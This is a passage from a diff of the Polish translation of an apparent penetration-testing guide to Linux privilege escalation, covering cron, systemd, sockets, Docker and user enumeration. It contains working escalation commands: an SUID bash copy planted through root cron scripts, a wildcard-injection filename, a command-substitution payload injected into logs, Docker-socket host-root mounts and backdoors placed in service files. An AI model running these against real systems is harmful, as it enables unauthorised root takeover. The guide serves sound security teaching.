Na przykład: _\* \* \* \* root overwrite.sh_\ +Wtedy możesz uzyskać powłokę roota, używając: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron używający skryptu z wildcard (Wildcard Injection) +### Cron using a script with a wildcard (Wildcard Injection) -Jeśli skrypt wykonywany przez root ma “**\***” w poleceniu, możesz to wykorzystać do wykonania nieoczekiwanych rzeczy (np. privesc). Przykład: +Jeśli skrypt wykonywany przez root zawiera “**\***” w poleceniu, możesz to wykorzystać, aby wywołać nieoczekiwane zachowania (np. privesc). Przykład: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Jeżeli wildcard jest poprzedzony ścieżką taką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).** +**Jeśli wildcard występuje w ścieżce takiej jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).** -Przeczytaj następującą stronę, aby poznać więcej trików wykorzystania wildcard: +Read the following page for more wildcard exploitation tricks: {{#ref}} @@ -352,9 +353,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash wykonuje parameter expansion i command substitution przed arithmetic evaluation w ((...)), $((...)) i let. Jeśli root cron/parser odczytuje niezaufane pola logów i przekazuje je do kontekstu arytmetycznego, atakujący może wstrzyknąć command substitution $(...) które wykona się jako root, gdy cron zostanie uruchomiony. +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs. -- Dlaczego to działa: W Bash rozszerzenia zachodzą w tej kolejności: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. Zatem wartość taka jak `$(/bin/bash -c 'id > /tmp/pwn')0` jest najpierw podstawiona (uruchamiając polecenie), a następnie pozostała część numeryczna `0` jest użyta w obliczeniu, więc skrypt kontynuuje bez błędów. +- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. - Typical vulnerable pattern: ```bash @@ -366,7 +367,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Eksploatacja: Spowoduj, aby tekst kontrolowany przez atakującego został zapisany w analizowanym logu tak, by pole wyglądające na numeryczne zawierało command substitution i kończyło się cyfrą. Upewnij się, że twoje polecenie nie wypisuje nic na stdout (lub przekieruj wyjście), aby obliczenie pozostało ważne. +- Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -375,42 +376,42 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Jeśli możesz **modyfikować cron script** uruchamiany przez root, możesz bardzo łatwo uzyskać shell: +If you **can modify a cron script** executed by root, you can get a shell very easily: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Jeśli skrypt uruchamiany przez root używa **katalogu, do którego masz pełny dostęp**, może być użyteczne usunięcie tego katalogu i **utworzenie folderu-symlink wskazującego na inny**, który będzie serwował skrypt kontrolowany przez ciebie. +Jeśli skrypt uruchamiany przez root używa **katalogu, do którego masz pełny dostęp**, może być przydatne usunąć ten folder i **utworzyć folder-symlink wskazujący na inny**, serwujący skrypt kontrolowany przez Ciebie. ```bash ln -d -s ``` -### Częste cron jobs +### Częste zadania cron -Możesz monitorować procesy, aby wyszukać procesy, które są uruchamiane co 1, 2 lub 5 minut. Być może możesz to wykorzystać i escalate privileges. +Możesz monitorować procesy, aby wyszukać te, które są uruchamiane co 1, 2 lub 5 minut. Możliwe, że możesz to wykorzystać i eskalować uprawnienia. -Na przykład, aby **monitorować co 0.1s przez 1 minutę**, **sortować według najmniej wykonywanych poleceń** i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić: +Na przykład, aby **monitorować co 0.1s przez 1 minutę**, **posortować według rzadziej wykonywanych poleceń** i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Możesz też użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to będzie monitorować i wyświetlać wszystkie uruchamiane procesy). +**Możesz też użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to będzie monitorować i wypisywać każdy proces, który się uruchomi). -### Niewidoczne zadania cron +### Niewidoczne cron jobs -Możliwe jest utworzenie cronjoba **wstawiając znak powrotu karetki po komentarzu** (bez znaku nowej linii), i cronjob będzie działać. Przykład (zwróć uwagę na znak powrotu karetki): +Można utworzyć cronjob, **umieszczając znak powrotu karetki po komentarzu** (bez znaku nowej linii), i cron job będzie działać. Przykład (zwróć uwagę na znak powrotu karetki): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Usługi -### Zapisywalne pliki _.service_ +### Pliki _.service_ z prawami zapisu -Sprawdź, czy możesz zapisać dowolny plik `.service`, jeśli tak, możesz go **zmodyfikować**, aby **uruchamiał** twój **backdoor gdy** usługa jest **uruchamiana**, **restartowana** lub **zatrzymywana** (może będziesz musiał poczekać, aż maszyna się zrestartuje).\ -Na przykład umieść swój backdoor wewnątrz pliku .service używając **`ExecStart=/tmp/script.sh`** +Sprawdź, czy możesz zapisać dowolny plik `.service`. Jeśli tak, możesz go **zmodyfikować**, aby **wykonywał** twój **backdoor**, gdy usługa zostanie **uruchomiona**, **zrestartowana** lub **zatrzymana** (może być konieczne poczekać na reboot maszyny).\ +Na przykład umieść swój backdoor wewnątrz pliku .service, używając **`ExecStart=/tmp/script.sh`** -### Zapisywalne pliki binarne usług +### Pliki binarne usług z prawami zapisu -Pamiętaj, że jeśli masz **uprawnienia do zapisu wobec binariów uruchamianych przez usługi**, możesz je zmodyfikować, aby umieścić backdoor, dzięki czemu przy ponownym uruchomieniu usług backdoor zostanie wykonany. +Pamiętaj, że jeśli masz **uprawnienia zapisu do binaries uruchamianych przez services**, możesz je zmienić, aby dodać backdoors — dzięki temu po ponownym uruchomieniu services backdoors zostaną wykonane. ### systemd PATH - Ścieżki względne @@ -418,74 +419,74 @@ Możesz zobaczyć PATH używany przez **systemd** za pomocą: ```bash systemctl show-environment ``` -Jeśli odkryjesz, że możesz **write** w dowolnym z folderów na tej ścieżce, możesz być w stanie **escalate privileges**. Musisz szukać **relative paths being used on service configurations** w plikach takich jak: +Jeśli odkryjesz, że możesz **write** w którymkolwiek z folderów na ścieżce, możesz być w stanie **escalate privileges**. Musisz przeszukać pliki konfiguracji usług pod kątem **relative paths being used on service configurations**, takie jak: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Następnie utwórz **executable** o **tej samej nazwie co the relative path binary** wewnątrz folderu systemd PATH, do którego możesz zapisać, a gdy usługa zostanie poproszona o wykonanie podatnej akcji (**Start**, **Stop**, **Reload**), twój **backdoor zostanie uruchomiony** (użytkownicy bez uprawnień zwykle nie mogą startować/zatrzymywać usług, ale sprawdź, czy możesz użyć `sudo -l`). +Potem utwórz **wykonywalny** plik o **tej samej nazwie co plik binarny wskazany przez ścieżkę względną** w katalogu PATH systemd, do którego możesz zapisywać, a gdy usługa zostanie poproszona o wykonanie podatnej akcji (**Start**, **Stop**, **Reload**), twój **backdoor zostanie uruchomiony** (użytkownicy bez uprawnień zwykle nie mogą uruchamiać/zatrzymywać usług, ale sprawdź czy możesz użyć `sudo -l`). -**Dowiedz się więcej o usługach za pomocą `man systemd.service`.** +**Dowiedz się więcej o usługach przy pomocy `man systemd.service`.** ## **Timery** -**Timery** są plikami jednostek systemd, których nazwa kończy się na `**.timer**`, które kontrolują pliki lub zdarzenia `**.service**`. **Timery** mogą być używane jako alternatywa dla cron, ponieważ mają wbudowaną obsługę zdarzeń kalendarzowych i zdarzeń monotonicznych oraz mogą działać asynchronicznie. +**Timery** to pliki jednostek systemd, których nazwa kończy się na `**.timer**` i które kontrolują pliki lub zdarzenia `**.service**`. **Timery** mogą być używane jako alternatywa dla cron, ponieważ mają wbudowane wsparcie dla zdarzeń według czasu kalendarzowego oraz zdarzeń monotonicznych i mogą być uruchamiane asynchronicznie. -Możesz wyświetlić wszystkie timery poleceniem: +Możesz wylistować wszystkie timery za pomocą: ```bash systemctl list-timers --all ``` ### Zapisywalne timery -Jeśli możesz zmodyfikować timer, możesz uruchomić niektóre istniejące jednostki systemd.unit (takie jak `.service` lub `.target`). +Jeśli możesz zmodyfikować timer, możesz sprawić, że wykona on niektóre istniejące jednostki systemd.unit (takie jak `.service` lub `.target`) ```bash Unit=backdoor.service ``` W dokumentacji można przeczytać, czym jest Unit: -> Jednostka, którą należy aktywować, gdy ten timer wygaśnie. Argument jest nazwą jednostki, której sufiks nie jest ".timer". Jeśli nie zostanie określony, ta wartość domyślnie wskazuje na service o tej samej nazwie co jednostka timera, z wyjątkiem sufiksu. (Patrz wyżej.) Zaleca się, aby nazwa jednostki, która jest aktywowana, i nazwa jednostki timera były identyczne, z wyjątkiem sufiksu. +> Jednostka, która ma zostać aktywowana, gdy ten timer wygaśnie. Argument jest nazwą jednostki, której sufiks nie jest ".timer". Jeśli nie zostanie podana, ta wartość domyślnie wskazuje na service o tej samej nazwie co timer unit, z wyjątkiem sufiksu. (Patrz wyżej.) Zaleca się, aby nazwa jednostki, która jest aktywowana, oraz nazwa jednostki timer były identyczne, z wyjątkiem sufiksu. -Dlatego, aby wykorzystać to uprawnienie, musiałbyś: +Dlatego, aby nadużyć tego uprawnienia, musiałbyś: -- Znaleźć jakąś jednostkę systemd (np. `.service`), która **uruchamia binarny plik, do którego masz prawa zapisu** -- Znaleźć jednostkę systemd, która **uruchamia względną ścieżkę** i masz **prawa zapisu** do **systemd PATH** (aby podszyć się pod ten plik wykonywalny) +- Znaleźć jakąś jednostkę systemd (np. `.service`), która **uruchamia binarkę, do której masz prawa zapisu** +- Znaleźć jednostkę systemd, która **uruchamia względną ścieżkę** i nad którą masz **uprawnienia do zapisu** w **systemd PATH** (aby podszyć się pod ten wykonywalny plik) **Dowiedz się więcej o timerach za pomocą `man systemd.timer`.** ### **Włączanie timera** -Aby włączyć timer, potrzebujesz uprawnień root i musisz wykonać: +Aby włączyć timer potrzebujesz uprawnień roota i wykonania: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +Zwróć uwagę, że **timer** jest **aktywowany** przez utworzenie dowiązania symbolicznego do niego w `/etc/systemd/system/.wants/.timer` -## Sockets +## Gniazda -Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. +Unix Domain Sockets (UDS) umożliwiają **komunikację między procesami** na tej samej lub różnych maszynach w modelu klient-serwer. Wykorzystują standardowe pliki deskryptorów Unix do komunikacji między komputerami i są konfigurowane za pomocą plików `.socket`. -Sockets can be configured using `.socket` files. +Gniazda można konfigurować przy użyciu plików `.socket`. -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +**Dowiedz się więcej o gniazdach za pomocą `man systemd.socket`.** W tym pliku można skonfigurować kilka interesujących parametrów: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) -- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. -- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. -- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje różnią się, ale w skrócie służą do **wskazania, gdzie będzie nasłuchiwane** gniazdo (ścieżka pliku gniazda AF_UNIX, adres IPv4/6 i/lub numer portu do nasłuchiwania itp.) +- `Accept`: Przyjmuje argument boolean. Jeśli **true**, dla każdego przychodzącego połączenia **tworzona jest instancja usługi**, a do niej przekazywane jest tylko gniazdo połączenia. Jeśli **false**, wszystkie nasłuchujące gniazda są **przekazywane do uruchomionej jednostki usługi**, i tylko jedna jednostka usługi jest tworzona dla wszystkich połączeń. Ta wartość jest ignorowana dla datagram sockets i FIFO, gdzie jedna jednostka usługi obsługuje wszystkie przychodzące dane bezwarunkowo. **Domyślnie false**. Ze względów wydajnościowych zaleca się tworzenie nowych daemonów w sposób zgodny z `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Przyjmują jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** utworzeniu i powiązaniu nasłuchujących **gniazd**/FIFO, odpowiednio. Pierwszy token linii poleceń musi być absolutną nazwą pliku, po którym następują argumenty procesu. +- `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** zamknięciu i usunięciu nasłuchujących **gniazd**/FIFO, odpowiednio. +- `Service`: Określa nazwę jednostki **service**, którą należy **aktywować** przy **przychodzącym ruchu**. To ustawienie jest dozwolone tylko dla sockets z Accept=no. Domyślnie wskazuje na usługę o tej samej nazwie co socket (z zastąpionym sufiksem). W większości przypadków nie powinno być konieczne używanie tej opcji. -### Writable .socket files +### Zapisywalne pliki .socket -If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +Jeśli znajdziesz **zapisywalny** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś w rodzaju: `ExecStartPre=/home/kali/sys/backdoor` i backdoor zostanie uruchomiony przed utworzeniem gniazda. W związku z tym **prawdopodobnie będziesz musiał poczekać na ponowne uruchomienie maszyny.**\ +_Uwaga: system musi korzystać z tej konfiguracji pliku socket, w przeciwnym razie backdoor nie zostanie uruchomiony_ -### Writable sockets +### Zapisywalne gniazda -If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. +Jeżeli **znajdziesz dowolne zapisywalne gniazdo** (_tu mówimy o Unix Sockets, a nie o plikach konfiguracyjnych `.socket`_), to **możesz komunikować się** z tym gniazdem i ewentualnie wykorzystać podatność. -### Enumerate Unix Sockets +### Enumeracja gniazd Unix ```bash netstat -a -p --unix ``` @@ -505,30 +506,30 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of socket-command-injection.md {{#endref}} -### HTTP sockets +### Gniazda HTTP -Zauważ, że może istnieć kilka **sockets listening for HTTP** requests (_nie mam na myśli .socket files, a pliki działające jako unix sockets_). Możesz to sprawdzić za pomocą: +Zwróć uwagę, że mogą istnieć pewne **sockets nasłuchujące żądań HTTP** (_Nie mam na myśli .socket files, lecz plików działających jako unix sockets_). Możesz to sprawdzić za pomocą: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Jeśli socket **odpowiada na żądanie HTTP**, możesz **komunikować się** z nim i być może **wykorzystać jakąś podatność**. +Jeśli socket **responds with an HTTP** request, możesz z nim **communicate** i być może **exploit some vulnerability**. -### Zapisalny socket Dockera +### Docker socket z możliwością zapisu -Socket Dockera, często znajdujący się pod `/var/run/docker.sock`, to krytyczny plik, który powinien być zabezpieczony. Domyślnie jest zapisywalny przez użytkownika `root` oraz członków grupy `docker`. Posiadanie dostępu zapisu do tego socketu może prowadzić do privilege escalation. Poniżej znajduje się opis, jak można to zrobić oraz alternatywne metody, jeśli Docker CLI nie jest dostępne. +Docker socket, często znajdujący się w `/var/run/docker.sock`, jest krytycznym plikiem, który należy zabezpieczyć. Domyślnie jest zapisywalny przez użytkownika `root` i członków grupy `docker`. Posiadanie dostępu zapisu do tego socketu może prowadzić do privilege escalation. Poniżej znajduje się rozbicie, jak można to zrobić oraz alternatywne metody, jeśli Docker CLI nie jest dostępne. #### **Privilege Escalation with Docker CLI** -Jeśli masz dostęp zapisu do socketu Dockera, możesz użyć następujących poleceń, aby escalate privileges: +Jeśli masz uprawnienia zapisu do Docker socket, możesz escalate privileges używając następujących poleceń: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Te polecenia pozwalają uruchomić kontener z dostępem root do systemu plików hosta. +These commands allow you to run a container with root-level access to the host's file system. #### **Using Docker API Directly** -W przypadkach, gdy Docker CLI nie jest dostępny, Docker socket nadal można manipulować przy użyciu Docker API i poleceń `curl`. +W sytuacjach, gdy Docker CLI nie jest dostępne, Docker socket można nadal manipulować za pomocą Docker API i poleceń `curl`. 1. **List Docker Images:** Pobierz listę dostępnych obrazów. @@ -536,19 +537,19 @@ W przypadkach, gdy Docker CLI nie jest dostępny, Docker socket nadal można man curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Wyślij żądanie utworzenia kontenera, które montuje katalog root systemu hosta. +2. **Create a Container:** Wyślij żądanie utworzenia container, który zamontuje katalog root systemu hosta. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +Uruchom nowo utworzony container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Użyj `socat`, aby nawiązać połączenie z kontenerem, co umożliwi wykonywanie poleceń wewnątrz niego. +3. **Attach to the Container:** Użyj `socat`, aby ustanowić połączenie z containerem, co umożliwi wykonywanie poleceń wewnątrz niego. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -558,13 +559,13 @@ Connection: Upgrade Upgrade: tcp ``` -Po skonfigurowaniu połączenia `socat` możesz wykonywać polecenia bezpośrednio w kontenerze z uprawnieniami root i dostępem do systemu plików hosta. +Po nawiązaniu połączenia `socat` możesz wykonywać polecenia bezpośrednio w containerze z uprawnieniami root do systemu plików hosta. ### Others -Zauważ, że jeśli masz uprawnienia zapisu do Docker socket ponieważ jesteś **inside the group `docker`** masz [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Jeżeli {#ref}../../network-services-pentesting/2375-pentesting-docker.md#compromising{#endref} +Zauważ, że jeśli masz uprawnienia zapisu do docker socket, ponieważ jesteś **inside the group `docker`** masz [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Jeśli [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Check **more ways to break out from docker or abuse it to escalate privileges** in: +Sprawdź **więcej sposobów na break out z docker lub nadużycie go do escalate privileges** w: {{#ref}} @@ -573,7 +574,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Jeśli możesz użyć polecenia **`ctr`**, przeczytaj następującą stronę — **możesz być w stanie nadużyć go do eskalacji uprawnień**: +Jeśli możesz użyć polecenia **`ctr`** przeczytaj następującą stronę, ponieważ **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -582,7 +583,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Jeśli możesz użyć polecenia **`runc`**, przeczytaj następującą stronę — **możesz być w stanie nadużyć go do eskalacji uprawnień**: +Jeśli możesz użyć polecenia **`runc`** przeczytaj następującą stronę, ponieważ **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -591,15 +592,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus to zaawansowany system komunikacji międzyprocesowej (inter-Process Communication, IPC), który umożliwia aplikacjom wydajną współpracę i wymianę danych. Zaprojektowany z myślą o nowoczesnych systemach Linux, oferuje solidne ramy dla różnych form komunikacji między aplikacjami. +D-Bus to zaawansowany system komunikacji międzyprocesowej (inter-Process Communication, IPC), który umożliwia aplikacjom efektywną interakcję i wymianę danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidne ramy dla różnych form komunikacji aplikacji. -System jest wszechstronny — obsługuje podstawową IPC, która ułatwia wymianę danych między procesami, przypominając ulepszone UNIX domain sockets. Ponadto ułatwia rozgłaszanie zdarzeń lub sygnałów, wspierając płynną integrację między komponentami systemu. Na przykład sygnał od demona Bluetooth o przychodzącym połączeniu może spowodować wyciszenie odtwarzacza muzyki, poprawiając doświadczenie użytkownika. Dodatkowo D-Bus obsługuje system zdalnych obiektów, upraszczając żądania usług i wywołania metod między aplikacjami, upraszczając procesy, które tradycyjnie były bardziej złożone. +System jest wszechstronny — wspiera podstawową IPC, która usprawnia wymianę danych między procesami, przypominając ulepszone UNIX domain sockets. Ponadto pomaga w rozgłaszaniu zdarzeń lub sygnałów, ułatwiając integrację komponentów systemowych. Na przykład sygnał od demona Bluetooth o przychodzącym połączeniu może spowodować wyciszenie odtwarzacza muzyki, poprawiając doświadczenie użytkownika. Dodatkowo D-Bus obsługuje system zdalnych obiektów, upraszczając żądania usług i wywołania metod między aplikacjami, upraszczając procesy, które tradycyjnie były skomplikowane. -D-Bus działa w modelu allow/deny, zarządzając uprawnieniami do przesyłania wiadomości (wywołań metod, emisji sygnałów itp.) na podstawie kumulatywnego efektu pasujących reguł polityki. Te polityki określają interakcje z busy i mogą potencjalnie prowadzić do eskalacji uprawnień poprzez wykorzystanie przyznanych uprawnień. +D-Bus działa w modelu **allow/deny**, zarządzając uprawnieniami do wiadomości (wywołania metod, emisje sygnałów itp.) w oparciu o skumulowany efekt dopasowujących się reguł polityki. Te polityki określają interakcje z bus, co potencjalnie może pozwolić na privilege escalation poprzez wykorzystanie tych uprawnień. -Przykład takiej polityki znajduje się w `/etc/dbus-1/system.d/wpa_supplicant.conf` i pokazuje uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości od `fi.w1.wpa_supplicant1`. +Przykład takiej polityki w `/etc/dbus-1/system.d/wpa_supplicant.conf` pokazano poniżej, opisujący uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości od `fi.w1.wpa_supplicant1`. -Polityki bez określonego użytkownika lub grupy mają zastosowanie uniwersalnie, podczas gdy polityki w kontekście "default" odnoszą się do wszystkich, którzy nie są objęci innymi, bardziej specyficznymi politykami. +Polityki bez określonego użytkownika lub grupy mają zastosowanie uniwersalne, podczas gdy polityki w kontekście "default" dotyczą wszystkich nieobjętych przez inne, bardziej specyficzne polityki. ```xml @@ -608,7 +609,7 @@ Polityki bez określonego użytkownika lub grupy mają zastosowanie uniwersalnie ``` -**Dowiedz się, jak enumerate i exploit komunikację D-Bus tutaj:** +**Dowiedz się, jak przeprowadzić enumerację i wykorzystać komunikację D-Bus tutaj:** {{#ref}} @@ -617,9 +618,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Sieć** -Zawsze warto enumerate sieć i ustalić pozycję maszyny. +Zawsze warto przeprowadzić enumerację sieci i ustalić pozycję maszyny. -### Ogólna enumeration +### Ogólna enumeracja ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -644,22 +645,22 @@ lsof -i ``` ### Otwarte porty -Zawsze sprawdź usługi sieciowe działające na maszynie, z którymi nie mogłeś wejść w interakcję przed uzyskaniem do niej dostępu: +Zawsze sprawdź usługi sieciowe działające na maszynie, z którymi nie mogłeś nawiązać interakcji przed uzyskaniem dostępu do niej: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Sprawdź, czy możesz sniff traffic. Jeśli tak, możesz być w stanie przechwycić niektóre credentials. +Sprawdź, czy możesz sniff traffic. Jeśli tak, możesz przechwycić niektóre credentials. ``` timeout 1 tcpdump ``` ## Użytkownicy -### Generic Enumeration +### Ogólna enumeracja -Sprawdź, kim jesteś (**who**), jakie masz **privileges**, którzy **users** są w systemie, którzy mogą wykonać **login** i którzy mają **root privileges**: +Sprawdź, **kim** jesteś, jakie masz **uprawnienia**, którzy **użytkownicy** są w systemie, którzy mogą się **zalogować** i którzy mają **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -681,14 +682,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### Duży UID -Niektóre wersje Linuksa były podatne na błąd, który pozwala użytkownikom z **UID > INT_MAX** na podniesienie uprawnień. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +Niektóre wersje Linuxa były dotknięte błędem, który pozwala użytkownikom z **UID > INT_MAX** na eskalację uprawnień. Więcej informacji: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) i [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Wykorzystaj to** używając: **`systemd-run -t /bin/bash`** ### Grupy -Sprawdź, czy jesteś **członkiem jakiejś grupy**, która mogłaby przyznać ci uprawnienia root: +Sprawdź, czy jesteś **członkiem jakiejś grupy**, która mogłaby przyznać ci uprawnienia roota: {{#ref}} @@ -714,22 +715,22 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Znane hasła -Jeśli **znasz jakiekolwiek hasło** w środowisku **spróbuj zalogować się jako każdy użytkownik** używając tego hasła. +Jeśli **znasz jakiekolwiek hasło** środowiska **spróbuj zalogować się jako każdego użytkownika** używając tego hasła. ### Su Brute -Jeśli nie przeszkadza ci generowanie dużego hałasu i binarki `su` i `timeout` są obecne na komputerze, możesz spróbować przełamać hasła użytkowników używając [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) z parametrem `-a` również próbuje przełamać hasła użytkowników. +Jeśli nie przeszkadza Ci generowanie dużego hałasu i binaria `su` oraz `timeout` są obecne na komputerze, możesz spróbować złamać użytkownika używając [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) z parametrem `-a` również próbuje brute-force'ować użytkowników. -## Nadużycia zapisu w $PATH +## Nadużycia związane z zapisem w $PATH ### $PATH -Jeśli odkryjesz, że możesz **zapisować w którymś z folderów znajdujących się w $PATH**, możesz być w stanie eskalować uprawnienia poprzez **utworzenie backdoora w zapisywalnym folderze** o nazwie jakiegoś polecenia, które zostanie wykonane przez innego użytkownika (najlepiej root) i które **nie jest ładowane z folderu znajdującego się wcześniej** niż twój zapisywalny folder w $PATH. +Jeśli odkryjesz, że możesz **zapisywać pliki w jakimś folderze należącym do $PATH**, możesz być w stanie eskalować uprawnienia poprzez **utworzenie backdoora w zapisywalnym folderze** o nazwie polecenia, które zostanie wykonane przez innego użytkownika (najlepiej root) i które **nie jest ładowane z folderu znajdującego się wcześniej** niż Twój zapisywalny folder w $PATH. ### SUDO and SUID -Możesz mieć pozwolenie na uruchomienie pewnego polecenia przy użyciu sudo lub plik może mieć ustawiony suid bit. Sprawdź to używając: +Możesz mieć uprawnienia do uruchomienia pewnych poleceń używając sudo lub pliki mogą mieć ustawiony bit suid. Sprawdź to używając: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -745,31 +746,31 @@ less>! ``` ### NOPASSWD -Konfiguracja sudo może pozwolić użytkownikowi na uruchomienie pewnego polecenia z uprawnieniami innego użytkownika bez znajomości hasła. +Konfiguracja Sudo może pozwolić użytkownikowi na wykonanie pewnego 